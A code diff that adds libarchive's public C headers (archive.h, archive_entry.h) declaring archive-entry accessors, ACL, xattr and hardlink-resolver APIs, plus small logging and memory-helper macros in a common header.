__LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *);
|
||||
/* TODO: Handle Linux stat32/stat64 ugliness. <sigh> */
|
||||
__LA_DECL int archive_read_disk_entry_from_file(struct archive *,
|
||||
struct archive_entry *, int /* fd */, const struct stat *);
|
||||
/* Look up gname for gid or uname for uid. */
|
||||
/* Default implementations are very, very stupid. */
|
||||
__LA_DECL const char *archive_read_disk_gname(struct archive *, __LA_GID_T);
|
||||
__LA_DECL const char *archive_read_disk_uname(struct archive *, __LA_UID_T);
|
||||
/* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the
|
||||
* results for performance. */
|
||||
__LA_DECL int archive_read_disk_set_standard_lookup(struct archive *);
|
||||
/* You can install your own lookups if you like. */
|
||||
__LA_DECL int archive_read_disk_set_gname_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
const char *(* /* lookup_fn */)(void *, __LA_GID_T),
|
||||
void (* /* cleanup_fn */)(void *));
|
||||
__LA_DECL int archive_read_disk_set_uname_lookup(struct archive *,
|
||||
void * /* private_data */,
|
||||
const char *(* /* lookup_fn */)(void *, __LA_UID_T),
|
||||
void (* /* cleanup_fn */)(void *));
|
||||
|
||||
/*
|
||||
* Accessor functions to read/set various information in
|
||||
* the struct archive object:
|
||||
*/
|
||||
/* Bytes written after compression or read before decompression. */
|
||||
__LA_DECL __LA_INT64_T archive_position_compressed(struct archive *);
|
||||
/* Bytes written to compressor or read from decompressor. */
|
||||
__LA_DECL __LA_INT64_T archive_position_uncompressed(struct archive *);
|
||||
|
||||
__LA_DECL const char *archive_compression_name(struct archive *);
|
||||
__LA_DECL int archive_compression(struct archive *);
|
||||
__LA_DECL int archive_errno(struct archive *);
|
||||
__LA_DECL const char *archive_error_string(struct archive *);
|
||||
__LA_DECL const char *archive_format_name(struct archive *);
|
||||
__LA_DECL int archive_format(struct archive *);
|
||||
__LA_DECL void archive_clear_error(struct archive *);
|
||||
__LA_DECL void archive_set_error(struct archive *, int _err,
|
||||
const char *fmt, ...);
|
||||
__LA_DECL void archive_copy_error(struct archive *dest,
|
||||
struct archive *src);
|
||||
__LA_DECL int archive_file_count(struct archive *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* These are meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
#undef __LA_GID_T
|
||||
#undef __LA_UID_T
|
||||
|
||||
/* These need to remain defined because they're used in the
|
||||
* callback type definitions. XXX Fix this. This is ugly. XXX */
|
||||
/* #undef __LA_INT64_T */
|
||||
/* #undef __LA_SSIZE_T */
|
||||
|
||||
#endif /* !ARCHIVE_H_INCLUDED */
|
||||
@@ -0,0 +1,524 @@
|
||||
/*-
|
||||
* Copyright (c) 2003-2008 Tim Kientzle
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_ENTRY_H_INCLUDED
|
||||
#define ARCHIVE_ENTRY_H_INCLUDED
|
||||
|
||||
/*
|
||||
* Note: archive_entry.h is for use outside of libarchive; the
|
||||
* configuration headers (config.h, archive_platform.h, etc.) are
|
||||
* purely internal. Do NOT use HAVE_XXX configuration macros to
|
||||
* control the behavior of this header! If you must conditionalize,
|
||||
* use predefined compiler and/or platform macros.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stddef.h> /* for wchar_t */
|
||||
#include <time.h>
|
||||
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
/* Get appropriate definitions of standard POSIX-style types. */
|
||||
/* These should match the types used in 'struct stat' */
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#define __LA_INT64_T __int64
|
||||
# if defined(__BORLANDC__)
|
||||
# define __LA_UID_T uid_t
|
||||
# define __LA_GID_T gid_t
|
||||
# define __LA_DEV_T dev_t
|
||||
# define __LA_MODE_T mode_t
|
||||
# else
|
||||
# define __LA_UID_T short
|
||||
# define __LA_GID_T short
|
||||
# define __LA_DEV_T unsigned int
|
||||
# define __LA_MODE_T unsigned short
|
||||
# endif
|
||||
#else
|
||||
#include <unistd.h>
|
||||
#define __LA_INT64_T int64_t
|
||||
#define __LA_UID_T uid_t
|
||||
#define __LA_GID_T gid_t
|
||||
#define __LA_DEV_T dev_t
|
||||
#define __LA_MODE_T mode_t
|
||||
#endif
|
||||
|
||||
/*
|
||||
* XXX Is this defined for all Windows compilers? If so, in what
|
||||
* header? It would be nice to remove the __LA_INO_T indirection and
|
||||
* just use plain ino_t everywhere. Likewise for the other types just
|
||||
* above.
|
||||
*/
|
||||
#define __LA_INO_T ino_t
|
||||
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllimport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries on all platforms and shared libraries on non-Windows. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Description of an archive entry.
|
||||
*
|
||||
* You can think of this as "struct stat" with some text fields added in.
|
||||
*
|
||||
* TODO: Add "comment", "charset", and possibly other entries that are
|
||||
* supported by "pax interchange" format. However, GNU, ustar, cpio,
|
||||
* and other variants don't support these features, so they're not an
|
||||
* excruciatingly high priority right now.
|
||||
*
|
||||
* TODO: "pax interchange" format allows essentially arbitrary
|
||||
* key/value attributes to be attached to any entry. Supporting
|
||||
* such extensions may make this library useful for special
|
||||
* applications (e.g., a package manager could attach special
|
||||
* package-management attributes to each entry).
|
||||
*/
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* File-type constants. These are returned from archive_entry_filetype()
|
||||
* and passed to archive_entry_set_filetype().
|
||||
*
|
||||
* These values match S_XXX defines on every platform I've checked,
|
||||
* including Windows, AIX, Linux, Solaris, and BSD. They're
|
||||
* (re)defined here because platforms generally don't define the ones
|
||||
* they don't support. For example, Windows doesn't define S_IFLNK or
|
||||
* S_IFBLK. Instead of having a mass of conditional logic and system
|
||||
* checks to define any S_XXX values that aren't supported locally,
|
||||
* I've just defined a new set of such constants so that
|
||||
* libarchive-based applications can manipulate and identify archive
|
||||
* entries properly even if the hosting platform can't store them on
|
||||
* disk.
|
||||
*
|
||||
* These values are also used directly within some portable formats,
|
||||
* such as cpio. If you find a platform that varies from these, the
|
||||
* correct solution is to leave these alone and translate from these
|
||||
* portable values to platform-native values when entries are read from
|
||||
* or written to disk.
|
||||
*/
|
||||
#define AE_IFMT 0170000
|
||||
#define AE_IFREG 0100000
|
||||
#define AE_IFLNK 0120000
|
||||
#define AE_IFSOCK 0140000
|
||||
#define AE_IFCHR 0020000
|
||||
#define AE_IFBLK 0060000
|
||||
#define AE_IFDIR 0040000
|
||||
#define AE_IFIFO 0010000
|
||||
|
||||
/*
|
||||
* Basic object manipulation
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
|
||||
/* The 'clone' function does a deep copy; all of the strings are copied too. */
|
||||
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_free(struct archive_entry *);
|
||||
__LA_DECL struct archive_entry *archive_entry_new(void);
|
||||
|
||||
/*
|
||||
* Retrieve fields from an archive_entry.
|
||||
*
|
||||
* There are a number of implicit conversions among these fields. For
|
||||
* example, if a regular string field is set and you read the _w wide
|
||||
* character field, the entry will implicitly convert narrow-to-wide
|
||||
* using the current locale. Similarly, dev values are automatically
|
||||
* updated when you write devmajor or devminor and vice versa.
|
||||
*
|
||||
* In addition, fields can be "set" or "unset." Unset string fields
|
||||
* return NULL, non-string fields have _is_set() functions to test
|
||||
* whether they've been set. You can "unset" a string field by
|
||||
* assigning NULL; non-string fields have _unset() functions to
|
||||
* unset them.
|
||||
*
|
||||
* Note: There is one ambiguity in the above; string fields will
|
||||
* also return NULL when implicit character set conversions fail.
|
||||
* This is usually what you want.
|
||||
*/
|
||||
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_fflags(struct archive_entry *,
|
||||
unsigned long * /* set */,
|
||||
unsigned long * /* clear */);
|
||||
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
|
||||
__LA_DECL __LA_GID_T archive_entry_gid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
|
||||
__LA_DECL __LA_INO_T archive_entry_ino(struct archive_entry *);
|
||||
__LA_DECL __LA_INT64_T archive_entry_ino64(struct archive_entry *);
|
||||
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
|
||||
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
|
||||
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
|
||||
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
|
||||
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
|
||||
__LA_DECL __LA_INT64_T archive_entry_size(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
|
||||
__LA_DECL __LA_UID_T archive_entry_uid(struct archive_entry *);
|
||||
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
|
||||
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Set fields in an archive_entry.
|
||||
*
|
||||
* Note that string 'set' functions do not copy the string, only the pointer.
|
||||
* In contrast, 'copy' functions do copy the object pointed to.
|
||||
*
|
||||
* Note: As of libarchive 2.4, 'set' functions do copy the string and
|
||||
* are therefore exact synonyms for the 'copy' versions. The 'copy'
|
||||
* names will be retired in libarchive 3.0.
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_atime(struct archive_entry *);
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *,
|
||||
BY_HANDLE_FILE_INFORMATION *);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_ctime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_fflags(struct archive_entry *,
|
||||
unsigned long /* set */, unsigned long /* clear */);
|
||||
/* Returns pointer to start of first invalid token, or NULL if none. */
|
||||
/* Note that all recognized tokens are processed, regardless. */
|
||||
__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *,
|
||||
const char *);
|
||||
__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *,
|
||||
const wchar_t *);
|
||||
__LA_DECL void archive_entry_set_gid(struct archive_entry *, __LA_GID_T);
|
||||
__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *);
|
||||
#if ARCHIVE_VERSION_NUMBER >= 3000000
|
||||
/* Starting with libarchive 3.0, this will be synonym for ino64. */
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, __LA_INT64_T);
|
||||
#else
|
||||
__LA_DECL void archive_entry_set_ino(struct archive_entry *, unsigned long);
|
||||
#endif
|
||||
__LA_DECL void archive_entry_set_ino64(struct archive_entry *, __LA_INT64_T);
|
||||
__LA_DECL void archive_entry_set_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long);
|
||||
__LA_DECL void archive_entry_unset_mtime(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int);
|
||||
__LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T);
|
||||
__LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t);
|
||||
__LA_DECL void archive_entry_set_size(struct archive_entry *, __LA_INT64_T);
|
||||
__LA_DECL void archive_entry_unset_size(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_set_uid(struct archive_entry *, __LA_UID_T);
|
||||
__LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *);
|
||||
__LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *);
|
||||
__LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *);
|
||||
/*
|
||||
* Routines to bulk copy fields to/from a platform-native "struct
|
||||
* stat." Libarchive used to just store a struct stat inside of each
|
||||
* archive_entry object, but this created issues when trying to
|
||||
* manipulate archives on systems different than the ones they were
|
||||
* created on.
|
||||
*
|
||||
* TODO: On Linux, provide both stat32 and stat64 versions of these functions.
|
||||
*/
|
||||
__LA_DECL const struct stat *archive_entry_stat(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *);
|
||||
|
||||
|
||||
/*
|
||||
* ACL routines. This used to simply store and return text-format ACL
|
||||
* strings, but that proved insufficient for a number of reasons:
|
||||
* = clients need control over uname/uid and gname/gid mappings
|
||||
* = there are many different ACL text formats
|
||||
* = would like to be able to read/convert archives containing ACLs
|
||||
* on platforms that lack ACL libraries
|
||||
*
|
||||
* This last point, in particular, forces me to implement a reasonably
|
||||
* complete set of ACL support routines.
|
||||
*
|
||||
* TODO: Extend this to support NFSv4/NTFS permissions. That should
|
||||
* allow full ACL support on Mac OS, in particular, which uses
|
||||
* POSIX.1e-style interfaces to manipulate NFSv4/NTFS permissions.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Permission bits mimic POSIX.1e. Note that I've not followed POSIX.1e's
|
||||
* "permset"/"perm" abstract type nonsense. A permset is just a simple
|
||||
* bitmap, following long-standing Unix tradition.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_EXECUTE 1
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE 2
|
||||
#define ARCHIVE_ENTRY_ACL_READ 4
|
||||
|
||||
/* We need to be able to specify either or both of these. */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 256
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 512
|
||||
|
||||
/* Tag values mimic POSIX.1e */
|
||||
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
|
||||
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access. */
|
||||
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public. */
|
||||
|
||||
/*
|
||||
* Set the ACL by clearing it and adding entries one at a time.
|
||||
* Unlike the POSIX.1e ACL routines, you must specify the type
|
||||
* (access/default) for each entry. Internally, the ACL data is just
|
||||
* a soup of entries. API calls here allow you to retrieve just the
|
||||
* entries of interest. This design (which goes against the spirit of
|
||||
* POSIX.1e) is useful for handling archive formats that combine
|
||||
* default and access information in a single ACL list.
|
||||
*/
|
||||
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_acl_add_entry(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const char * /* name */);
|
||||
__LA_DECL void archive_entry_acl_add_entry_w(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const wchar_t * /* name */);
|
||||
|
||||
/*
|
||||
* To retrieve the ACL, first "reset", then repeatedly ask for the
|
||||
* "next" entry. The want_type parameter allows you to request only
|
||||
* access entries or only default entries.
|
||||
*/
|
||||
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
|
||||
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
|
||||
int * /* type */, int * /* permset */, int * /* tag */,
|
||||
int * /* qual */, const char ** /* name */);
|
||||
//__LA_DECL int archive_entry_acl_next_w(struct archive_entry *, int /* want_type */,
|
||||
// int * /* type */, int * /* permset */, int * /* tag */,
|
||||
// int * /* qual */, const wchar_t ** /* name */);
|
||||
|
||||
/*
|
||||
* Construct a text-format ACL. The flags argument is a bitmask that
|
||||
* can include any of the following:
|
||||
*
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include access entries.
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include default entries.
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
|
||||
* each ACL entry. (As used by 'star'.)
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
|
||||
* default ACL entry.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
|
||||
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
|
||||
int /* flags */);
|
||||
|
||||
/* Return a count of entries matching 'want_type' */
|
||||
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
|
||||
|
||||
/*
|
||||
* Private ACL parser. This is private because it handles some
|
||||
* very weird formats that clients should not be messing with.
|
||||
* Clients should only deal with their platform-native formats.
|
||||
* Because of the need to support many formats cleanly, new arguments
|
||||
* are likely to get added on a regular basis. Clients who try to use
|
||||
* this interface are likely to be surprised when it changes.
|
||||
*
|
||||
* You were warned!
|
||||
*
|
||||
* TODO: Move this declaration out of the public header and into
|
||||
* a private header. Warnings above are silly.
|
||||
*/
|
||||
__LA_DECL int __archive_entry_acl_parse_w(struct archive_entry *,
|
||||
const wchar_t *, int /* type */);
|
||||
|
||||
/*
|
||||
* extended attributes
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
|
||||
const char * /* name */, const void * /* value */,
|
||||
size_t /* size */);
|
||||
|
||||
/*
|
||||
* To retrieve the xattr list, first "reset", then repeatedly ask for the
|
||||
* "next" entry.
|
||||
*/
|
||||
|
||||
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
|
||||
const char ** /* name */, const void ** /* value */, size_t *);
|
||||
|
||||
/*
|
||||
* Utility to match up hardlinks.
|
||||
*
|
||||
* The 'struct archive_entry_linkresolver' is a cache of archive entries
|
||||
* for files with multiple links. Here's how to use it:
|
||||
* 1. Create a lookup object with archive_entry_linkresolver_new()
|
||||
* 2. Tell it the archive format you're using.
|
||||
* 3. Hand each archive_entry to archive_entry_linkify().
|
||||
* That function will return 0, 1, or 2 entries that should
|
||||
* be written.
|
||||
* 4. Call archive_entry_linkify(resolver, NULL) until
|
||||
* no more entries are returned.
|
||||
* 5. Call archive_entry_link_resolver_free(resolver) to free resources.
|
||||
*
|
||||
* The entries returned have their hardlink and size fields updated
|
||||
* appropriately. If an entry is passed in that does not refer to
|
||||
* a file with multiple links, it is returned unchanged. The intention
|
||||
* is that you should be able to simply filter all entries through
|
||||
* this machine.
|
||||
*
|
||||
* To make things more efficient, be sure that each entry has a valid
|
||||
* nlinks value. The hardlink cache uses this to track when all links
|
||||
* have been found. If the nlinks value is zero, it will keep every
|
||||
* name in the cache indefinitely, which can use a lot of memory.
|
||||
*
|
||||
* Note that archive_entry_size() is reset to zero if the file
|
||||
* body should not be written to the archive. Pay attention!
|
||||
*/
|
||||
struct archive_entry_linkresolver;
|
||||
|
||||
/*
|
||||
* There are three different strategies for marking hardlinks.
|
||||
* The descriptions below name them after the best-known
|
||||
* formats that rely on each strategy:
|
||||
*
|
||||
* "Old cpio" is the simplest, it always returns any entry unmodified.
|
||||
* As far as I know, only cpio formats use this. Old cpio archives
|
||||
* store every link with the full body; the onus is on the dearchiver
|
||||
* to detect and properly link the files as they are restored.
|
||||
* "tar" is also pretty simple; it caches a copy the first time it sees
|
||||
* any link. Subsequent appearances are modified to be hardlink
|
||||
* references to the first one without any body. Used by all tar
|
||||
* formats, although the newest tar formats permit the "old cpio" strategy
|
||||
* as well. This strategy is very simple for the dearchiver,
|
||||
* and reasonably straightforward for the archiver.
|
||||
* "new cpio" is trickier. It stores the body only with the last
|
||||
* occurrence. The complication is that we might not
|
||||
* see every link to a particular file in a single session, so
|
||||
* there's no easy way to know when we've seen the last occurrence.
|
||||
* The solution here is to queue one link until we see the next.
|
||||
* At the end of the session, you can enumerate any remaining
|
||||
* entries by calling archive_entry_linkify(NULL) and store those
|
||||
* bodies. If you have a file with three links l1, l2, and l3,
|
||||
* you'll get the following behavior if you see all three links:
|
||||
* linkify(l1) => NULL (the resolver stores l1 internally)
|
||||
* linkify(l2) => l1 (resolver stores l2, you write l1)
|
||||
* linkify(l3) => l2, l3 (all links seen, you can write both).
|
||||
* If you only see l1 and l2, you'll get this behavior:
|
||||
* linkify(l1) => NULL
|
||||
* linkify(l2) => l1
|
||||
* linkify(NULL) => l2 (at end, you retrieve remaining links)
|
||||
* As the name suggests, this strategy is used by newer cpio variants.
|
||||
* It's noticably more complex for the archiver, slightly more complex
|
||||
* for the dearchiver than the tar strategy, but makes it straightforward
|
||||
* to restore a file using any link by simply continuing to scan until
|
||||
* you see a link that is stored with a body. In contrast, the tar
|
||||
* strategy requires you to rescan the archive from the beginning to
|
||||
* correctly extract an arbitrary link.
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
|
||||
__LA_DECL void archive_entry_linkresolver_set_strategy(
|
||||
struct archive_entry_linkresolver *, int /* format_code */);
|
||||
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
|
||||
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
|
||||
struct archive_entry **, struct archive_entry **);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* This is meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
|
||||
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */
|
||||
@@ -4,22 +4,55 @@
|
||||
#include <stdint.h> // uint*_t
|
||||
#include <stdbool.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach/error.h>
|
||||
#ifdef __OBJC__
|
||||
#include <Foundation/Foundation.h>
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
|
||||
#define RAWLOG(str, args...) do { NSLog(@str, ##args); } while(false)
|
||||
#define ADDRSTRING(val) [NSString stringWithFormat:@ADDR, val]
|
||||
#else
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
#define RAWLOG(str, args...) do { NSLog(CFSTR(str), ##args); } while(false)
|
||||
#define BOOL bool
|
||||
#define YES ((BOOL) true)
|
||||
#define NO ((BOOL) false)
|
||||
#endif
|
||||
|
||||
#define LOG(str, args...) RAWLOG("[*] " str, ##args)
|
||||
|
||||
#define SafeFree(x) do { if (x) free(x); } while(false)
|
||||
#define SafeFreeNULL(x) do { SafeFree(x); (x) = NULL; } while(false)
|
||||
